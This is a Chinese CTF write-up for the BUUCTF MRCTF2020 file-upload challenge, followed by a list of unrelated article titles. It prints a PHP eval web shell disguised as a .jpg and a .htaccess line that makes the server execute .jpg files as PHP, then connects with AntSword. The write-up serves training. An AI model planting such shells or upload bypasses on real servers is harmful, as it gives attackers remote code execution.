当前位置: 首页 > news >正文

BUUCTF---[MRCTF2020]你传你呢1

1.题目描述

2.打开题目链接

3.上传shell.jpg文件,显示连接成功,但是用蚁剑连接却连接不上。shell文件内容为

<script language='php'>eval($_REQUEST[cmd]);</script>

4.用bp抓包,修改属性

5.需要上传一个.htaccess的文件来把jpg后缀的文件全都当作php文件来执行,.htsccess文件内容为

AddType application/x-httpd-php .jpg

6.刚刚我们上传了shell.jpg

就接下来上传.htaccess文件,修改这里

7.接下来我们放包回去,点击forward

8.接下来我们访问shell.jpg文件

访问地址为

http://97d484a8-851f-4d4d-9507-aa835dd782f4.node5.buuoj.cn:81/upload/8d47dd0461a3a88317b0af687ebf8526/shell%20.jpg

9.接下来我们使用蚁剑连接

flag{3687354e-fb5d-415c-b5ec-0c92e80df3e4}

相关文章:

  • 【CSS】(浮动定位)易忘知识点汇总
  • Ant Design Vue 修改Model弹框 样式不生效
  • Fastwhisper + Pyannote 实现 ASR + 说话者识别
  • SQL 的优化手段
  • YOLOv5创新改进:SPPF创新涨点篇 | SPPELAN:SPP创新结合ELAN ,效果优于SPP、SPPF| YOLOv9
  • XS2100S:IEEE 802.3af/at 兼容、用电设备接口控制器,集成功率MOSFET V1.0.3
  • 前端 css 实现标签的效果
  • django默认后台管理显示内容深化设置
  • Cluade3干货:超越GPT,模型特点分析+使用教程|2024年3月更新
  • 数据库之Oracle数据导入导出
  • 99.qt qml-单例程序实现
  • 开发Chrome扩展插件
  • 【golang】二叉树的遍历
  • 基于cnn卷积神经网络的车辆颜色检测识别-图像去雾-图像去雨(改进yolo目标检测-附代码)
  • 短视频矩阵系统----矩阵系统源码搭建(技术门槛?)
  • @angular/forms 源码解析之双向绑定
  • 【跃迁之路】【585天】程序员高效学习方法论探索系列(实验阶段342-2018.09.13)...
  • CSS3 聊天气泡框以及 inherit、currentColor 关键字
  • EventListener原理
  • git 常用命令
  • iOS小技巧之UIImagePickerController实现头像选择
  • Javascript编码规范
  • JS专题之继承
  • Linux编程学习笔记 | Linux多线程学习[2] - 线程的同步
  • Linux学习笔记6-使用fdisk进行磁盘管理
  • niucms就是以城市为分割单位,在上面 小区/乡村/同城论坛+58+团购
  • npx命令介绍
  • vue中实现单选
  • 不发不行!Netty集成文字图片聊天室外加TCP/IP软硬件通信
  • 初探 Vue 生命周期和钩子函数
  • 从零到一:用Phaser.js写意地开发小游戏(Chapter 3 - 加载游戏资源)
  • 第十八天-企业应用架构模式-基本模式
  • 和 || 运算
  • 机器学习 vs. 深度学习
  • 如何优雅的使用vue+Dcloud(Hbuild)开发混合app
  • 设计模式(12)迭代器模式(讲解+应用)
  • 转载:[译] 内容加速黑科技趣谈
  • NLPIR智能语义技术让大数据挖掘更简单
  • (007)XHTML文档之标题——h1~h6
  • (03)光刻——半导体电路的绘制
  • (poj1.2.1)1970(筛选法模拟)
  • (ZT)薛涌:谈贫说富
  • (安全基本功)磁盘MBR,分区表,活动分区,引导扇区。。。详解与区别
  • (附源码)spring boot网络空间安全实验教学示范中心网站 毕业设计 111454
  • (黑客游戏)HackTheGame1.21 过关攻略
  • (原創) 博客園正式支援VHDL語法著色功能 (SOC) (VHDL)
  • .bat批处理出现中文乱码的情况
  • .NET 将多个程序集合并成单一程序集的 4+3 种方法
  • .NET 解决重复提交问题
  • ::什么意思
  • @data注解_一枚 架构师 也不会用的Lombok注解,相见恨晚
  • [ 渗透工具篇 ] 一篇文章让你掌握神奇的shuize -- 信息收集自动化工具
  • [2017][note]基于空间交叉相位调制的两个连续波在few layer铋Bi中的全光switch——
  • [2544]最短路 (两种算法)(HDU)
  • [c++] 自写 MyString 类